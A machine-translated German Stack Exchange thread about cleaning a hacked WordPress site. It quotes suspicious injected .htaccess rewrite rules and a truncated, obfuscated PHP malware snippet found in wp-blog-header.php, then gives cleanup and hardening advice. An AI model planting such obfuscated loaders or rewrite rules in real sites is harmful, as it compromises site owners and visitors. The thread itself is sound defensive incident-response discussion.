WordPress-Site gehackt. Wurde .htaccess gehackt?


7

Ich versuche, eine gehackte WordPress-Website zu bereinigen. Ich habe festgestellt, dass die .htaccessDatei einige verdächtige reguläre Ausdrücke enthält, aber meine Regex-Fähigkeiten sind ziemlich schwach (Zeit zum Lernen, denke ich). Ich habe versucht, die .htaccessDatei durch das Standard-WordPress zu ersetzen .htaccess, aber sie wird sofort und automatisch neu geschrieben. Was ich wissen muss, ist, was mit diesem Code los ist:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Wenn das .htaccesskompromittiert wurde, haben Sie Vorschläge zur Sicherung?

Ich habe eine neue WordPress-Installation durchgeführt, alle Plugins aktualisiert / neu installiert, Passwörter zurückgesetzt, Captchas für Anmeldungen installiert, die WordPress-Installation in ein anderes Verzeichnis verschoben usw. Die Website schien für einige Tage in Ordnung zu sein, wurde aber erneut gehackt. So frustrierend!


1
Möglicherweise wird irgendwo ein PHP-Skript eingefügt, das die .htaccessDatei automatisch ändert, obwohl dies nicht erklärt, wie es nach einer Neuinstallation erneut auftritt. Überprüfen Sie, ob index.phpauch Änderungen vorgenommen wurden. Und siehe make.wordpress.org/support/handbook/appendix/breakfix-lessons/…
Yoav Kadosh


1
Sie sollten Plugins überprüfen, da einige Plugins den .htaccess-Code aktualisieren.
Dipen Patel

1
Kurzfristig können Sie eine .htaccessDatei mit dem gewünschten Inhalt erstellen . chmodes zu Berechtigungen 0444. Dadurch wird die Datei auf "schreibgeschützt" gesetzt. Zumindest bis Sie herausfinden, was der Schuldige ist.
Michael Ecklund

1
Enge Abstimmungen, da gehackte Websites speziell nicht zum Thema gehören, und dies ist nicht der beste Ort, um Fragen zu Regex oder allgemeinem Zugriff zu stellen
Mark Kaplun,

Antworten:


1

Über gehackte Websites:

Lassen Sie uns zunächst die Probleme im Zusammenhang mit Hacking klarstellen:

Wenn Ihre Site wirklich gehackt wurde, müssen Sie nicht alle Dateien vollständig löschen und dann den Server (nicht nur WordPress) mit neuen Passwörtern neu installieren, alle Dateien aktualisieren und frühere Lücken identifizieren und entfernen, die dazu geführt haben, dass die Site in der ersten gehackt wurde nichts anderes wird bestätigen, dass die Site nicht erneut mit denselben Schlupflöchern gehackt wird.

Über die .htaccessÄnderung:

Für mich .htaccesssieht Ihre Änderung nicht wie das Ergebnis eines Hackings aus, sondern wie ein Teil von WordPress CODE (entweder von einem Plugin oder einem Thema), der die .htaccessDatei aufgrund von URL-Umschreibungen neu schreibt.

Schauen Sie sich dieses Beispiel aus Ihrem .htaccessCODE an:

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

Diese Zeile transformiert im Grunde eine URL, die wie folgt aussieht (zum Beispiel):

example.com/something-12-34-something-else.html?query=string

um eine Abfragezeichenfolge (intern zur Hauptzeichenfolge index.php) hinzuzufügen, die folgendermaßen aussieht:

?something34=12&query=string

Im Grunde sehe ich also nicht, wie ein Hacker daraus etwas ziehen kann. Es ist immer noch möglich, aber unwahrscheinlich.

Um zu testen, ob es tatsächlich von WordPress auf diese Weise neu geschrieben wird, können Sie den folgenden Test durchführen:

  1. Gehen Sie zu wp-admin -> Settings -> Permalinks& klicken Sie auf die Save ChangesSchaltfläche.

  2. Schreiben Sie .htaccessmit dem Standard-WordPress- .htaccessCode neu.

  3. Gehen Sie jetzt wp-admin -> Settings -> Permalinkserneut zu und klicken Sie auf die Save ChangesSchaltfläche.

Wenn Ihre .htaccessDatei von WordPress (Webserver) beschreibbar ist und dieser .htaccessCODE von WordPress generiert wurde, wird Ihr Standard-WordPress nach dem oben beschriebenen Vorgang .htaccesssofort in das von Ihnen veröffentlichte geändert.

Was macht man als nächstes?

Wenn Sie die von WordPress durchzuführenden Änderungen erfolgreich identifiziert haben, können Sie feststellen, welches Plugin oder Thema dies tut, indem Sie das oben beschriebene Verfahren erneut ausführen, nachdem Sie jedes installierte Plugin einzeln deaktiviert haben.

Sobald das verantwortliche Plugin deaktiviert ist, führt das obige Verfahren nicht mehr zu dieser Änderung in der .htaccessDatei. Dann wissen Sie, welches Plugin es tut, und haben vielleicht ein besseres Verständnis dafür, warum es es tut. zB ob es sich um eine Funktion handelt oder um das Ergebnis böswilliger Aktivitäten.

Wenn kein Plugin gefunden wird, können Sie dasselbe mit dem Thema tun, indem Sie ein WordPress-Kernthema aktivieren (z. B. Twenty Seventeen).

Wenn keines der oben genannten Verfahren funktioniert, besteht Ihre nächste Option darin, einen Experten einzustellen und ihm zu erlauben, Ihre Website zu untersuchen.


1
Also hier ist der Deal, Hacker setzen selten "Ich-hacke-dich" in die URL. Sie verstecken sich normalerweise hinter etwas, das eine legitime Interpretation haben könnte, so dass allein die Tatsache, dass es eine geben könnte, nichts anzeigt. Ich würde sagen, dass im Allgemeinen alles vermutet werden sollte, was eher so aussieht, als würde es von einer Maschine produziert als von einem Menschen.
Mark Kaplun

@ MarkKaplun Ich stimme dir zu. Meine Antwort basiert auf den bereitgestellten Informationen. Auch als zukünftige Referenz für Personen, die bemerken, .htaccessdass sie geändert wurden, und dies als Zeichen von Hacking missverstehen. Natürlich liefert das OP hier keine Informationen. darüber, wie seine Seite gehackt wurde. Also habe ich mich auf diesen Punkt konzentriert. Zuvor habe ich gesehen, dass Leute die Regeln zum Umschreiben in einem WP-Plugin am Init-Hook falsch gelöscht haben. Dies kann ein weiterer Grund sein, warum .htaccesssie bei jedem Laden der Seite neu geschrieben werden. Wie ich eingangs erwähnt habe, erfordert eine tatsächlich gehackte Site eine vollständige Reproduktion der Site.
Fayaz

OMG, können Sie eine Liste dieser Plugins erstellen, damit ich sie vermeide? ;)
Mark Kaplun

ha ha ha, ich meinte benutzerdefinierte Plugins von Anfängern geschrieben, es gibt eine Liste, aber Sie müssen mich dafür bezahlen;)
Fayaz

Ich könnte ..... :)
Mark Kaplun

0

Ich hatte vor einigen Monaten ein ähnliches Problem: Eine der Kundenwebsites wurde gehackt und ich hatte Schwierigkeiten zu finden, wo. Ich kann Ihnen vorschlagen, auch die Datenbank auf Malware-Code zu überprüfen. In meinem Fall habe ich verdächtigen Code gefunden in:

  • Datenbank; Ftp - Cache-Ordner, Haupt-WP-Ordner und andere Nicht-WP-Ordner;
  • header.php Datei;
  • .htaccess und auch wp-config.

Ich kann Ihnen vorschlagen, alle diese Ordner manuell zu überprüfen und dann ein Plugin für andere Überprüfungen wie Anti-Malware-Sicherheit und Brute-Force-Firewall zu installieren. Ich habe auch den WordPress-Authentifizierungsschlüssel neu generiert. Nach einer gründlichen Reinigung und einigen Sicherheitstricks, wie dem Ändern von Passwörtern für FTP, WordPress und DB, dem Ändern der Benutzer-ID und der Installation eines Sicherheits-Plugins, wurde die Website bis jetzt nicht mehr gehackt. Ich bin mir nicht sicher, ob dies der Fall ist, aber ich hoffe, ich kann Ihnen weiterhelfen.


0

Ich habe das Problem mit der .htaccess-Datei gelöst, indem ich die Datei wp-blog-header.php bereinigt habe. Das Skript, das für die Änderung von .htaccess verantwortlich ist, befindet sich dort und sieht folgendermaßen aus.

<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}
?>

Reinigen Sie einfach den ersten Teil und das Ende "?>" + .htaccess Reinigung und es sollte in Ordnung sein.


-1

Die meisten Hacker, die ich bisher auf WP-Sites gesehen habe, sind auf Plugin-Schwachstellen oder veralteten WP-Kern zurückzuführen.

Ich würde vorschlagen:

  1. Ersetzen Sie den WP-Kern vollständig, indem Sie eine neue Kopie von Wordpress.org herunterladen.
  2. Laden Sie alle Plugin-Dateien erneut herunter und ersetzen Sie sie.
  3. Suchen Sie im Upload-Verzeichnis nach seltsamen Dateien und Ordnern. Dieser Ordner ist normalerweise ein Ziel, da er beschreibbar ist.
  4. Überprüfen Sie die Dateien header.php und functions.php des Themas auf seltsame Includes oder seltsamen Code, der Zeichenfolgen entweder codiert oder decodiert.
  5. Die Datenbank ist normalerweise kein Problem, aber manchmal wurden Ihren Posts Links zu Anzeigen (z. B. Viagra-Links) hinzugefügt. Überprüfen Sie daher den Inhalt der Beiträge auf seltsame Links und die wp-Optionstabelle auf seltsame Einstellungen.
  6. Erstellen Sie eine Kopie des aktuellen .htaccess, wenn dieser über benutzerdefinierten Code verfügt, und stellen Sie ihn dann in der Standard-WP-Datei wieder her.

Und mit "seltsam" meine ich Dinge, die eindeutig nicht da sein sollten oder die nicht im Zusammenhang zu stehen scheinen.

Sobald Sie der Meinung sind, dass alles bereinigt wurde, würde ich ein Plugin installieren oder ein anderes Tool verwenden, um in Ihren Themendateien nach Base64-Code zu suchen. Oft wird der Schadcode in mehrere verschiedene Dateien zerlegt und durch Codierung getarnt.

Installieren Sie abschließend ein Sicherheits-Plugin, um Benachrichtigungen zu erhalten, wenn Core- / Plugin-Dateien geändert werden.

Wenn Sie sich für Ihre Website interessieren:

  1. Halten Sie immer alles auf dem neuesten Stand. Plugins und Wp Core.
  2. Hosten Sie es nicht mit billigem Shared Hosting ... das sind einfache Ziele, da Cpanel normalerweise OOD ist und nicht richtig eingerichtet wurde. Auch weil Verstöße auf anderen Websites auf demselben Server Ihre Website infizieren können.

Wenn Sie über ein VPS oder ein ähnliches Setup verfügen, bei dem Sie die Servereinstellungen besser steuern können, stellen Sie sicher, dass Sie den Root-Pass und andere serverbezogene Kennwörter zurücksetzen. Wenn Ihre Datenbank kompromittiert wurde, sollten Sie auch den Datenbankbenutzerpass ändern.


-2

Eine der besten Lösungen, die ich gefunden habe, ist die Installation von Wordfence . Es durchsucht alle Ihre WordPress-Dateien (externe Dateien enthalten, aber Sie müssen sie auf der Einstellungsseite aktivieren) mit den Originalversionen und zeigt dann eine Liste mit allen geänderten Dateien an So können Sie sehen, was gehackt wurde


2
Sobald eine Site gehackt ist, ist das Spiel vorbei. Alle "Sicherheits" -Plugins gehen davon aus, dass die Site nicht gehackt wird , da sich eine Malware nach dem Hacken verstecken oder in den Ruhezustand versetzen kann oder was auch immer ein anderer Trick ist, um die Erkennung durch Scanner zu vermeiden. aber für diese Frage ist es irrelevant. Außerdem befindet sich der Hack möglicherweise auf dem Server, der nicht mit dem Speicherort zusammenhängt, an dem WordPress installiert ist.
Mark Kaplun
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.